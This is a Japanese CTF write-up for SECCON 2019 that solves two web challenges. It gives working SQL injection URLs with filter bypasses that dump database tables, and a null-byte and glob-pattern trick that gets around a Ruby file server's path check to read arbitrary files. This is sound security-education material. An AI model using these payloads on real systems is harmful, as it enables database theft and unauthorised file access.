SECCON 2019 Online CTF Write-up

今年も [SECCON 2019 Online CTF](https://www.seccon.jp/2019/seccon2019/seccon_ctf_2019_quals.html) に参加しました。

自分は web_search (212 pt) と fileserver (345 pt) を解いたのでその Write-up を書きます。

## web_search

いかにも SQLi できそうな感じの Web サイト

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/86238/9ccf2a53-482a-9ba3-295e-8136cec95830.png)

やることは UNION Based SQLi なのですが、いくつか制約があります。

- `or` という文字列が取り除かれる
- スペースが使えない
- カンマ `,` が使えない

一つ目の `or` が使えないのは `oorr` に置き換えればバイパスできます。
二つ目のスペースが使えない問題は、いくつか対応法があるみたいですが、自分は `%0b` （タブ文字）で代用しました。

ここまでで、UNION する際に必要なカラム数は取得できます。

```
http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#
```

`ORDER BY` の値を 1, 2, ... と増やしていった結果、4 でエラーが発生したのでカラム数は 3 だとわかります。

さて、三つ目のカンマが使えない問題ですが、https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ を参考にするとバイパスできることがわかりました。

あとはいつも通りで、まずは information_schema から必要な情報を SQLi で抜き出します。

```
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#
```

`flag` テーブルから FLAG を抜き出します。

```
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#
```

これで FLAG が手に入るかと思ったら、一部（ `You_Win_Yeah}` ）しか手に入らなかった。
仕方ないので、 `articles` テーブルの方も見てみる。

```
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#
```

前半部分（ `SECCON{Yeah_Sqli_Success_` ）が手に入り、繋げると FLAG になる。

```
SECCON{Yeah_Sqli_Success_You_Win_Yeah}
```

## fileserver

Ruby の標準ライブラリ WEBrick で Web サーバが立ち上がっている。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/86238/dade8638-a298-9e98-823f-666f8cfec222.png)

`req.path` の最後が `/` の場合、そのディレクトリ配下のファイルの一覧が返ってきます。

```ruby
files = Dir.glob(".#{req.path}*")
```

そうでない場合、マッチしたファイルの中身が返ってきます。

```ruby
matches = Dir.glob(req.path[1..])
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read(1e6)
```

FLAG は `/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt` にあるので、ディレクトリトラバーサルする必要があります。

```ruby
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
```

### 解答

`Dir.glob()` ですが、 [docs.ruby-lang.org](https://docs.ruby-lang.org/ja/latest/class/Dir.html) を見ると次のように書いてあります。

> パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。

よって、以下のようにすると `/tmp/flags/*` のファイル一覧を返してくれます。

```
http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/
```

FLAG のファイル名が手に入ったので、同様にファイルの中身を取得しようとすると、以下の箇所でエラー（ヌル文字が含まれているという内容）が発生します。

```ruby
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
```

パスのチェックを行う `is_bad_path` メソッドをうまくバイパスすると FLAG が手に入る。
（ `[` と `{` の優先順位の違いから、`[` を使うと `{}` が使える）

```
http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
```

```
SECCON{You_are_the_Globbin'_Slayer}
```